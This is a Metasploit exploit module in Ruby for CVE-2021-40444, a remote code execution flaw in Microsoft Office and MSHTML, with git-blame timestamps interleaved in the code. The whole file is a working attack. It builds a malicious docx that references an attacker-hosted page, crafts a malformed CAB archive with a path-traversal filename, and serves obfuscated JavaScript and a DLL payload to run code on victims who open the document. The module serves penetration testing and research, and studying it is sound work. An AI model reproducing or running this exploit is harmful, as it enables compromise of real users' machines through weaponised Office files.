2021-11-09 15:18:58 +04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: FILEFORMAT
include Msf :: Exploit :: Remote :: HttpServer :: HTML
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Microsoft Office Word Malicious MSHTML RCE' ,
'Description' = > %q{
2021-11-29 15:23:02 -06:00
This module creates a malicious docx file that when opened in Word on a vulnerable Windows
system will lead to code execution. This vulnerability exists because an attacker can
craft a malicious ActiveX control to be used by a Microsoft Office document that hosts
the browser rendering engine.
2021-11-09 15:18:58 +04:00
} ,
'References' = > [
[ 'CVE' , '2021-40444' ] ,
[ 'URL' , 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444' ] ,
[ 'URL' , 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/' ] ,
[ 'URL' , 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf' ] ,
[ 'URL' , 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md' ] ,
[ 'URL' , 'https://github.com/klezVirus/CVE-2021-40444' ]
] ,
'Author' = > [
'lockedbyte ' , # Vulnerability discovery.
'klezVirus ' , # References and PoC.
'thesunRider' , # Official Metasploit module.
'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.
] ,
'DisclosureDate' = > '2021-09-23' ,
'License' = > MSF_LICENSE ,
'Privileged' = > false ,
'Platform' = > 'win' ,
2021-11-17 07:54:49 -06:00
'Arch' = > [ ARCH_X64 ] ,
2021-11-09 15:18:58 +04:00
'Payload' = > {
'DisableNops' = > true
} ,
'DefaultOptions' = > {
2021-11-17 07:54:49 -06:00
'FILENAME' = > 'msf.docx'
2021-11-09 15:18:58 +04:00
} ,
'Targets' = > [
2021-11-17 07:54:49 -06:00
[
2021-12-08 17:22:44 -05:00
'Hosted' , { }
2021-11-17 07:54:49 -06:00
]
2021-11-09 15:18:58 +04:00
] ,
'DefaultTarget' = > 0 ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ UNRELIABLE_SESSION ] ,
'SideEffects' = > [ IOC_IN_LOGS , ARTIFACTS_ON_DISK ]
}
)
)
register_options ( [
OptBool . new ( 'OBFUSCATE' , [ true , 'Obfuscate JavaScript content.' , true ] )
] )
2021-12-08 17:22:44 -05:00
register_advanced_options ( [
OptPath . new ( 'DocxTemplate' , [ false , 'A DOCX file that will be used as a template to build the exploit.' ] ) ,
] )
2021-11-09 15:18:58 +04:00
end
def bin_to_hex ( bstr )
return ( bstr . each_byte . map { | b | b . to_s ( 16 ) . rjust ( 2 , '0' ) } . join )
end
def cab_checksum ( data , seed = " \x00 \x00 \x00 \x00 " )
checksum = seed
bytes = ''
data . chars . each_slice ( 4 ) . map ( & :join ) . each do | dword |
if dword . length == 4
checksum = checksum . unpack ( 'C*' ) . zip ( dword . unpack ( 'C*' ) ) . map { | a , b | a ^ b } . pack ( 'C*' )
else
bytes = dword
end
end
checksum = checksum . reverse
case ( data . length % 4 )
when 3
dword = " \x00 #{ bytes } "
when 2
dword = " \x00 \x00 #{ bytes } "
when 1
dword = " \x00 \x00 \x00 #{ bytes } "
else
dword = " \x00 \x00 \x00 \x00 "
end
checksum = checksum . unpack ( 'C*' ) . zip ( dword . unpack ( 'C*' ) ) . map { | a , b | a ^ b } . pack ( 'C*' ) . reverse
end
# http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
def create_cab ( data )
cab_cfdata = ''
filename = " ../ #{ File . basename ( @my_resources . first ) } .inf "
block_size = 32768
struct_cffile = 0xd
struct_cfheader = 0x30
block_counter = 0
data . chars . each_slice ( block_size ) . map ( & :join ) . each do | block |
block_counter += 1
seed = " #{ [ block . length ] . pack ( 'S' ) } #{ [ block . length ] . pack ( 'S' ) } "
csum = cab_checksum ( block , seed )
vprint_status ( " Data block added w/ checksum: #{ bin_to_hex ( csum ) } " )
cab_cfdata << csum # uint32 {4} - Checksum
cab_cfdata << [ block . length ] . pack ( 'S' ) # uint16 {2} - Compressed Data Length
cab_cfdata << [ block . length ] . pack ( 'S' ) # uint16 {2} - Uncompressed Data Length
cab_cfdata << block
end
cab_size = [
struct_cfheader +
struct_cffile +
filename . length +
cab_cfdata . length
] . pack ( 'L<' )
# CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)
cab_header = " \x4D \x53 \x43 \x46 " # uint32 {4} - Header (MSCF)
cab_header << " \x00 \x00 \x00 \x00 " # uint32 {4} - Reserved (null)
cab_header << cab_size # uint32 {4} - Archive Length
cab_header << " \x00 \x00 \x00 \x00 " # uint32 {4} - Reserved (null)
cab_header << " \x2C \x00 \x00 \x00 " # uint32 {4} - Offset to the first CFFILE
cab_header << " \x00 \x00 \x00 \x00 " # uint32 {4} - Reserved (null)
cab_header << " \x03 " # byte {1} - Minor Version (3)
cab_header << " \x01 " # byte {1} - Major Version (1)
cab_header << " \x01 \x00 " # uint16 {2} - Number of Folders
cab_header << " \x01 \x00 " # uint16 {2} - Number of Files
cab_header << " \x00 \x00 " # uint16 {2} - Flags
cab_header << " \xD2 \x04 " # uint16 {2} - Cabinet Set ID Number
cab_header << " \x00 \x00 " # uint16 {2} - Sequential Number of this Cabinet file in a Set
# CFFOLDER
cab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder
struct_cfheader +
struct_cffile +
filename . length
] . pack ( 'L<' )
cab_header << [ block_counter ] . pack ( 'S<' ) # uint16 {2} - Number of CFDATA blocks in this Folder
cab_header << " \x00 \x00 " # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)
# increase file size to trigger vulnerability
cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41")
data . length + 1073741824
] . pack ( 'L<' )
# set current date and time in the format of cab file
date_time = Time . new
date = [ ( ( date_time . year - 1980 ) << 9 ) + ( date_time . month << 5 ) + date_time . day ] . pack ( 'S' )
time = [ ( date_time . hour << 11 ) + ( date_time . min << 5 ) + ( date_time . sec / 2 ) ] . pack ( 'S' )
# CFFILE
cab_header << " \x00 \x00 \x00 \x00 " # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)
cab_header << " \x00 \x00 " # uint16 {2} - Folder ID (starts at 0)
cab_header << date # uint16 {2} - File Date (\x5A\x53)
cab_header << time # uint16 {2} - File Time (\xC3\x5C)
cab_header << " \x20 \x00 " # uint16 {2} - File Attributes
cab_header << filename # byte {X} - Filename (ASCII)
cab_header << " \x00 " # byte {1} - null Filename Terminator
cab_stream = cab_header
# CFDATA
cab_stream << cab_cfdata
end
def generate_html
uri = " #{ @proto } :// #{ datastore [ 'SRVHOST' ] } : #{ datastore [ 'SRVPORT' ] } #{ normalize_uri ( @my_resources . first . to_s ) } .cab "
inf = " #{ File . basename ( @my_resources . first ) } .inf "
2021-12-08 10:36:27 -06:00
file_path = :: File . join ( :: Msf :: Config . data_directory , 'exploits' , 'CVE-2021-40444' , 'cve_2021_40444.js' )
js_content = :: File . binread ( file_path )
2021-11-09 15:18:58 +04:00
2021-12-08 10:36:27 -06:00
js_content . gsub! ( 'REPLACE_INF' , inf )
js_content . gsub! ( 'REPLACE_URI' , uri )
2021-11-09 15:18:58 +04:00
if datastore [ 'OBFUSCATE' ]
print_status ( 'Obfuscate JavaScript content' )
js_content = Rex :: Exploitation :: JSObfu . new js_content
js_content = js_content . obfuscate ( memory_sensitive : false )
end
html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
html += js_content . to_s
html += '</script></body></html>'
html
end
def get_file_in_docx ( fname )
i = @docx . find_index { | item | item [ :fname ] == fname }
unless i
fail_with ( Failure :: NotFound , " This template cannot be used because it is missing: #{ fname } " )
end
@docx . fetch ( i ) [ :data ]
end
def get_template_path
2021-12-08 17:22:44 -05:00
datastore [ 'DocxTemplate' ] || File . join ( Msf :: Config . data_directory , 'exploits' , 'CVE-2021-40444' , 'cve-2021-40444.docx' )
2021-11-09 15:18:58 +04:00
end
def inject_docx
document_xml = get_file_in_docx ( 'word/document.xml' )
unless document_xml
fail_with ( Failure :: NotFound , 'This template cannot be used because it is missing: word/document.xml' )
end
document_xml_rels = get_file_in_docx ( 'word/_rels/document.xml.rels' )
unless document_xml_rels
fail_with ( Failure :: NotFound , 'This template cannot be used because it is missing: word/_rels/document.xml.rels' )
end
uri = " #{ @proto } :// #{ datastore [ 'SRVHOST' ] } : #{ datastore [ 'SRVPORT' ] } #{ normalize_uri ( @my_resources . first . to_s ) } .html "
@docx . each do | entry |
case entry [ :fname ]
when 'word/document.xml'
entry [ :data ] = document_xml . to_s . gsub! ( 'TARGET_HERE' , uri . to_s )
when 'word/_rels/document.xml.rels'
entry [ :data ] = document_xml_rels . to_s . gsub! ( 'TARGET_HERE' , " mhtml: #{ uri } !x-usc: #{ uri } " )
end
end
end
def normalize_uri ( * strs )
new_str = strs * '/'
new_str = new_str . gsub! ( '//' , '/' ) while new_str . index ( '//' )
# makes sure there's a starting slash
unless new_str [ 0 , 1 ] == '/'
new_str = '/' + new_str
end
new_str
end
def on_request_uri ( cli , request )
header_cab = {
'Access-Control-Allow-Origin' = > '*' ,
'Access-Control-Allow-Methods' = > 'GET, POST, OPTIONS' ,
'Cache-Control' = > 'no-store, no-cache, must-revalidate' ,
'Content-Type' = > 'application/octet-stream' ,
'Content-Disposition' = > " attachment; filename= #{ File . basename ( @my_resources . first ) } .cab "
}
header_html = {
'Access-Control-Allow-Origin' = > '*' ,
'Access-Control-Allow-Methods' = > 'GET, POST' ,
'Cache-Control' = > 'no-store, no-cache, must-revalidate' ,
'Content-Type' = > 'text/html; charset=UTF-8'
}
if request . method . eql? 'HEAD'
if request . raw_uri . to_s . end_with? '.cab'
send_response ( cli , '' , header_cab )
else
send_response ( cli , '' , header_html )
end
elsif request . method . eql? 'OPTIONS'
response = create_response ( 501 , 'Unsupported Method' )
response [ 'Content-Type' ] = 'text/html'
response . body = ''
cli . send_response ( response )
elsif request . raw_uri . to_s . end_with? '.html'
print_status ( 'Sending HTML Payload' )
send_response_html ( cli , generate_html , header_html )
elsif request . raw_uri . to_s . end_with? '.cab'
print_status ( 'Sending CAB Payload' )
send_response ( cli , create_cab ( @dll_payload ) , header_cab )
end
end
def pack_docx
@docx . each do | entry |
if entry [ :data ] . is_a? ( Nokogiri :: XML :: Document )
entry [ :data ] = entry [ :data ] . to_s
end
end
Msf :: Util :: EXE . to_zip ( @docx )
end
def unpack_docx ( template_path )
document = [ ]
Zip :: File . open ( template_path ) do | entries |
entries . each do | entry |
if entry . name . match ( / \ .xml| \ .rels$ /i )
content = Nokogiri :: XML ( entry . get_input_stream . read ) if entry . file?
elsif entry . file?
content = entry . get_input_stream . read
end
vprint_status ( " Parsing item from template: #{ entry . name } " )
document << { fname : entry . name , data : content }
end
end
document
end
def primer
print_status ( 'CVE-2021-40444: Generate a malicious docx file' )
@proto = ( datastore [ 'SSL' ] ? 'https' : 'http' )
if datastore [ 'SRVHOST' ] == '0.0.0.0'
2021-12-08 10:36:27 -06:00
datastore [ 'SRVHOST' ] = Rex :: Socket . source_address
2021-11-09 15:18:58 +04:00
end
template_path = get_template_path
unless File . extname ( template_path ) . match ( / \ .docx$ /i )
fail_with ( Failure :: BadConfig , 'Template is not a docx file!' )
end
print_status ( " Using template ' #{ template_path } ' " )
@docx = unpack_docx ( template_path )
print_status ( 'Injecting payload in docx document' )
inject_docx
print_status ( " Finalizing docx ' #{ datastore [ 'FILENAME' ] } ' " )
file_create ( pack_docx )
@dll_payload = Msf :: Util :: EXE . to_win64pe_dll (
framework ,
payload . encoded ,
{
arch : payload . arch . first ,
mixed_mode : true ,
platform : 'win'
}
)
end
end